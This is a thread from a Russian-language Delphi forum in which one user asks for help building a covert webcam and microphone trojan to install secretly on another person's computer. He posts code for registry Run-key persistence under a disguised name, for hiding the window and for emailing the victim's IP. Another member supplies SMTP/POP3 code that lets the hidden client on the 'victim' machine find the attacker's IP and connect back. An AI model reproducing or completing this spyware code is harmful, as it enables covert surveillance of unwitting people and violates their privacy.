Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Мультимедиа в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 22.04.2012, 11:27   #21
vasa01
Пользователь
 
Регистрация: 29.03.2012
Сообщений: 36
По умолчанию

Вот код вывода изображения из веб камеры....как сигнал передать через сокет ???


конкретнее "SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0); //забираем" как этот поток передать с помощю сокета ?


var hWndC : THandle;

procedure TForm1.Button1Click(Sender: TObject);
begin
hWndC := capCreateCaptureWindowA('My Own Capture Window',
WS_CHILD or WS_VISIBLE ,
0,
0,
Panel1.Width,
Panel1.Height,
Panel1.Handle,
0); //создаем область для вывода получаемых в будущем картинок =)

if hWndC <> 0 then //если при создании области ошибок не возникло, то сопкойно начинаем забирать данный с веб-камеры
SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0); //забираем картинку с вебкамеры

end;
vasa01 вне форума Ответить с цитированием
Старый 22.04.2012, 11:48   #22
raxp
Старожил
 
Регистрация: 29.09.2009
Сообщений: 9,742
По умолчанию

vasa01, ваш вопрос удивляет. А прокрутить тему назад и посмотреть готовые реализации по захвату с AVICAP32 и передаче-приема фрейма?
Разработки и научно-технические публикации :: Видеоблог :: Твиттер
Radar systems engineer & Software developer of industrial automation
raxp вне форума Ответить с цитированием
Старый 22.04.2012, 14:42   #23
vasa01
Пользователь
 
Регистрация: 29.03.2012
Сообщений: 36
По умолчанию

Цитата:
Сообщение от raxp Посмотреть сообщение
vasa01, ваш вопрос удивляет. А прокрутить тему назад и посмотреть готовые реализации по захвату с AVICAP32 и передаче-приема фрейма?
да там я нашол пару рабочих варянотв. Но код огромный... тут кодик поменьше темболее я пробовал его переделать как троянскую программу но он что то не пашит как нада.... тут сервер практически готов просто настроить нада что бы через сокеты передавал сигнал и всё) да согласен тут недоработка есть то что микравон не передаётся ....и всё же Очень Благодарен всем кто помогает!!!!!СПАСИБО БОЛЬШОЕ!!!
vasa01 вне форума Ответить с цитированием
Старый 22.04.2012, 14:58   #24
raxp
Старожил
 
Регистрация: 29.09.2009
Сообщений: 9,742
По умолчанию

...там код минимально необходимый для двустороннего обмена . Да, его можно оптимизировать, но "дареному коню в зубы не смотрят".
Разработки и научно-технические публикации :: Видеоблог :: Твиттер
Radar systems engineer & Software developer of industrial automation
raxp вне форума Ответить с цитированием
Старый 23.04.2012, 09:25   #25
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

Мой код можно уменьшить таким образом во всех модулях в Uses убрать неиспользующие модули, я просто в нем показал простой пример реализации звука и изображения, если задача была бы сделать трояна, я бы сделал вообще без форменную программу избавился бы от Application и обошолся бы без Bass первый пример как раз без него, тогда бы она весила мало. Если нужно то при нормальном изучении моего кода, его можно переделать и под TSocketClient и TSocketServer. Почему сделано в разных модулях, а не в одном, для удобства и для того чтобы эти модули можно было бы применить в других программах при необходимости, а не резать на части и использовать то что нужно, я вообще стараюсь делать универсальные модули что бы их можно было включать в любой проект по необходимости, а не писать или выдирать, тогда и программы быстрее делаются. В той программе технология простая все идет с заголовком сервер ловит его разбирает и затем получает данные, используется 2 socket, один для звука другой для изображения, хотя можно было бы сделать все в одном но боюсь были бы большие задержки. Напиши конкретную задачу. Тебе нужно установить ее кому то незаметно на комп, либо использовать для связи?

Последний раз редактировалось Aliens_wolfs; 23.04.2012 в 09:40.
Aliens_wolfs вне форума Ответить с цитированием
Старый 23.04.2012, 11:10   #26
vasa01
Пользователь
 
Регистрация: 29.03.2012
Сообщений: 36
По умолчанию

Цитата:
Сообщение от Aliens_wolfs Посмотреть сообщение
Мой код можно уменьшить таким образом во всех модулях в Uses убрать неиспользующие модули, я просто в нем показал простой пример реализации звука и изображения, если задача была бы сделать трояна, я бы сделал вообще без форменную программу избавился бы от Application и обошолся бы без Bass первый пример как раз без него, тогда бы она весила мало. Если нужно то при нормальном изучении моего кода, его можно переделать и под TSocketClient и TSocketServer. Почему сделано в разных модулях, а не в одном, для удобства и для того чтобы эти модули можно было бы применить в других программах при необходимости, а не резать на части и использовать то что нужно, я вообще стараюсь делать универсальные модули что бы их можно было включать в любой проект по необходимости, а не писать или выдирать, тогда и программы быстрее делаются. В той программе технология простая все идет с заголовком сервер ловит его разбирает и затем получает данные, используется 2 socket, один для звука другой для изображения, хотя можно было бы сделать все в одном но боюсь были бы большие задержки. Напиши конкретную задачу. Тебе нужно установить ее кому то незаметно на комп, либо использовать для связи?


я хочу его установить незаметно что бы был сервер и клиент в теме я ж песал что сокеты нада использовать ..... что бы загружался при каждой перезагрузке ПК.. тоесть в реестр звгружался и письпо присылал на мыло.... я знаю как реализовать регистрацию на ресстре и сообшение что бы отправлял и знаю как правельно скрыть форму . КОНКРЕТНО НЕЗНАЮ КАК РАБОТАТЬ С ВЕБКОЙ И ЗВУКОМ... И КАК ИХ ПЕРЕДАВАТЬ ЧЕРЕЗ СОКЕТЫ... но если есть возможность напешите весь код я не против буду))) даже помогу чем смогу))) вот коды которые я нашол

реестр

var RegIni:TRegIniFile;
attach: TidAttachment;
msg: tidmessage;
i: integer;
begin
RegIni:=TRegIniFile.Create('Softwar e');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('Run', 'windows_32.exe',
Application.ExeName);
RegIni.Free;

Отправка письма


idSMTP1.AuthenticationType:= atLogin;
idSMTP1.Username:='xxx@mail.ru'; // ваш логин
idSMTP1.Password:='xxx'; // пароль
idSMTP1.Host:='smtp.mail.ru'; // хост mail.ru
IdSMTP1.Port:=2525; // порт mail.ru
msg:=TIdMessage.Create(nil);
msg.Body.Add('xxx.'); // сообщение письма
msg.Subject:='mail'; // заголовок письма (Тема)
msg.From.Address:='xxx@mail.ru'; // от кого отправляем письмо
msg.From.Name:='message'; // имя отправителя
msg.Recipients.EMailAddresses:='xxx @mail.ru'; // кому отправить письмо
msg.IsEncoded:=true;
idSMTP1.Connect();
if idSMTP1.Connected then
begin
idSMTP1.Send(msg);
end
else
IdSMTP1.Disconnect;



создовать форму


program windows_32;
uses
Forms,
Windows,
Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
var
sobytie:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_HI DE);
Form1:=TForm1.Create(nil);
Application.Run;
sobytie:=CreateEvent(nil, true, false, 'et');
while True do
begin
WaitForSingleObject(sobytie,1000);
Application.ProcessMessages;
end;
end.


Заранее Благодарен ВСЕМ!!! ЭТОТ ФОРУМ САМЫЙ ЛУДШИЙ!!! РАНЬШЕ СИДЕЛ НА ДРУГОМ НО ТАМ НЕ РАЗГОВОРЧИВЫЕ ВСЕ.... НЕ УЧАТ И НЕ ПОМОГАЮТ...
vasa01 вне форума Ответить с цитированием
Старый 23.04.2012, 11:58   #27
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

У тебя письмо твой скрытый клиент отправляет? Или же твой сервер информирует клиента через писмо?. Тут IP нужен открытый или у тебя или на клиенте иначе если к клиенту работающиму через роутер не подключишся, а если у тебя IP открытый то ты через письмо информируешь куда клиенту подключаться. У кого то должен быть обязательно IP выделеный иначе не будет подключения.

Последний раз редактировалось Aliens_wolfs; 23.04.2012 в 12:08.
Aliens_wolfs вне форума Ответить с цитированием
Старый 23.04.2012, 12:16   #28
vasa01
Пользователь
 
Регистрация: 29.03.2012
Сообщений: 36
По умолчанию

Цитата:
Сообщение от Aliens_wolfs Посмотреть сообщение
У тебя письмо твой скрытый клиент отправляет? Или же твой сервер информирует клиента через писмо?. Тут IP нужен открытый или у тебя или на клиенте иначе если к клиенту работающиму через роутер не подключишся, а если у тебя IP открытый то ты через письмо информируешь куда клиенту подключаться. У кого то должен быть обязательно IP выделеный иначе не будет подключения.
он мне присылает простое письмо на мыло . я открываю его нажожу ''Ешё'' затем ''Служебные заголовки'' и там ip письма копирую и радуюсь))) правда один недостаток есть..... касперский ругает при отправки письма потом разрешает......
vasa01 вне форума Ответить с цитированием
Старый 23.04.2012, 15:10   #29
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

Так ip он тебе пришлет конечно, но есть одно но, а если клиент роутером или ADSL модемом закрыт, ip будет локальный, а у роутера и ADSL другой ip, даже если его будешь знать твои пакеты не дайдут до клиента. Тут нужно наоборот делать, твой сервер через почту должен информировать скрытого клиента в клиентской программе нужно разрабртать код, чтобы клиент по определенному заголовку в письме читал данные через протокол POP3 и затем конектится по назначенному ip в письме к тебе, у тебя ip должен быть открыт.


Отправить письмо для клиента с твоего сервера
Код:
procedure SendMail;
var
SMsg: TIdMessage;
idSMTP:= TIdSMTP;
begin
idSMTP:= TIdSMTP.Create(nil);
SMsg:=TIdMessage.Create(nil);
try
idSMTP.AuthenticationType:= atLogin;
idSMTP.Username:='User'; // ваш логин
idSMTP.Password:='Pass'; // пароль
idSMTP.Host:='smtp.mail.ru'; // хост mail.ru
IdSMTP.Port:=25; // порт mail.ru
SMsg.ContentType:= 'text/html';
SMsg.CharSet:= 'Windows-1251';
SMsg.Body.Add(Format('%s:%d',['172.135.0.1,8080])); // сообщение
SMsg.Subject:='ServerIP'; // заголовок письма (Тема)
SMsg.From.Address:='user@mail.ru'; // от кого отправляем письмо
SMsg.From.Name:='Server'; // имя отправителя
SMsg.Recipients.EMailAddresses:='xxxxx@mail.ru'; // кому отправить письмо
idSMTP.Connect();
idSMTP.Send(SMsg);
IdSMTP.Disconnect;
except // обработка ошибки
idSMTP.Free;
SMsg.free;
end;
end;
Читать письмо в клиенте у жертвы и извлеч информацию. В клиенте нужно делать запрос на почту тогда когда в нем нет соединения с твоим сервером с интервалом к примеру 30 сек
Код:
procedure ReadMail;
var
POP3:= TIdPOP3;
SMsg:=TIdMessage;
begin
POP3:= TIdPOP3.Create(nil);
SMsg:=TIdMessage.Create(nil);
try
POP3.Host:='pop.mail.ru';
 POP3.Port:=110;
 POP3.Username:='user';
 POP3.Password:='pass';
 SMsg.ContentType:= 'text/html';
 SMsg.CharSet:= 'Windows-1251';
 POP3.Connect;
//Читаем письма начинаем с последнего и находим нужное по заголовоку
 for i:=POP3.CheckMessages -1 downto 1 do
 begin
 POP3.Retrieve(i, SMsg);
//Проверяем по заголовку что это сервер информирует
 if Pos('ServerIP', SMsg.Subject)<>0 then
 begin
// для примера извлекаем инфу в сообщении тут нужно под клиентской проги доделать
 Showmessage(SMsg.Subject +#13+
 FormatDateTime('dd.mm.yy hh:mm:ss', SMsg.Date) +#13+ 
SMsg.Body.Text{- нужная нам инфа здесь});
// Удаляем прочитанное письмо
 POP3.Delete(i);
 break;
 end;
 end;
 POP3.Disconnect;
 except // обработка ошибки
 POP3.Free;
 SMsg.Free;
end;
end;

Последний раз редактировалось Aliens_wolfs; 23.04.2012 в 17:19.
Aliens_wolfs вне форума Ответить с цитированием
Старый 23.04.2012, 18:42   #30
vasa01
Пользователь
 
Регистрация: 29.03.2012
Сообщений: 36
По умолчанию

Цитата:
Сообщение от Aliens_wolfs Посмотреть сообщение
Так ip он тебе пришлет конечно, но есть одно но, а если клиент роутером или ADSL модемом закрыт, ip будет локальный, а у роутера и ADSL другой ip, даже если его будешь знать твои пакеты не дайдут до клиента. Тут нужно наоборот делать, твой сервер через почту должен информировать скрытого клиента в клиентской программе нужно разрабртать код, чтобы клиент по определенному заголовку в письме читал данные через протокол POP3 и затем конектится по назначенному ip в письме к тебе, у тебя ip должен быть открыт.


Отправить письмо для клиента с твоего сервера
Код:
procedure SendMail;
var
SMsg: TIdMessage;
idSMTP:= TIdSMTP;
begin
idSMTP:= TIdSMTP.Create(nil);
SMsg:=TIdMessage.Create(nil);
try
idSMTP.AuthenticationType:= atLogin;
idSMTP.Username:='User'; // ваш логин
idSMTP.Password:='Pass'; // пароль
idSMTP.Host:='smtp.mail.ru'; // хост mail.ru
IdSMTP.Port:=25; // порт mail.ru
SMsg.ContentType:= 'text/html';
SMsg.CharSet:= 'Windows-1251';
SMsg.Body.Add(Format('%s:%d',['172.135.0.1,8080])); // сообщение
SMsg.Subject:='ServerIP'; // заголовок письма (Тема)
SMsg.From.Address:='user@mail.ru'; // от кого отправляем письмо
SMsg.From.Name:='Server'; // имя отправителя
SMsg.Recipients.EMailAddresses:='xxxxx@mail.ru'; // кому отправить письмо
idSMTP.Connect();
idSMTP.Send(SMsg);
IdSMTP.Disconnect;
except // обработка ошибки
idSMTP.Free;
SMsg.free;
end;
end;
Читать письмо в клиенте у жертвы и извлеч информацию. В клиенте нужно делать запрос на почту тогда когда в нем нет соединения с твоим сервером с интервалом к примеру 30 сек
Код:
procedure ReadMail;
var
POP3:= TIdPOP3;
SMsg:=TIdMessage;
begin
POP3:= TIdPOP3.Create(nil);
SMsg:=TIdMessage.Create(nil);
try
POP3.Host:='pop.mail.ru';
 POP3.Port:=110;
 POP3.Username:='user';
 POP3.Password:='pass';
 SMsg.ContentType:= 'text/html';
 SMsg.CharSet:= 'Windows-1251';
 POP3.Connect;
//Читаем письма начинаем с последнего и находим нужное по заголовоку
 for i:=POP3.CheckMessages -1 downto 1 do
 begin
 POP3.Retrieve(i, SMsg);
//Проверяем по заголовку что это сервер информирует
 if Pos('ServerIP', SMsg.Subject)<>0 then
 begin
// для примера извлекаем инфу в сообщении тут нужно под клиентской проги доделать
 Showmessage(SMsg.Subject +#13+
 FormatDateTime('dd.mm.yy hh:mm:ss', SMsg.Date) +#13+ 
SMsg.Body.Text{- нужная нам инфа здесь});
// Удаляем прочитанное письмо
 POP3.Delete(i);
 break;
 end;
 end;
 POP3.Disconnect;
 except // обработка ошибки
 POP3.Free;
 SMsg.Free;
end;
end;

тоесть с помошю этих кодов он сам найдёт клиента и подключит его!! ну ты красавчик !!! я думал такое невозможно попробую я его собрать до кучи) но если чесно не думаю что получится... если есть исходник скинеш? а то долго буду маятся....

у меня ADSL модем стаит но IP не закрыт и тот варянт работал просто касперский палил имено отправку сообшения ...

посылает IP но сокеты не работали.... вот значит в чём проблема....
vasa01 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Снимок с вебкамеры oFFlineby Мультимедиа в Delphi 1 23.09.2011 19:44
где найти драйвер Вебкамеры NWC 27 neznayka333 Софт 0 04.02.2011 16:58
Захват видео с вебкамеры Eric56 Общие вопросы C/C++ 0 12.12.2010 21:55
Нужно написать программу записи видео с Вебкамеры misher Помощь студентам 3 09.11.2010 16:12
Захват изображения с вебкамеры GrenDaiZer Помощь студентам 3 15.04.2007 13:54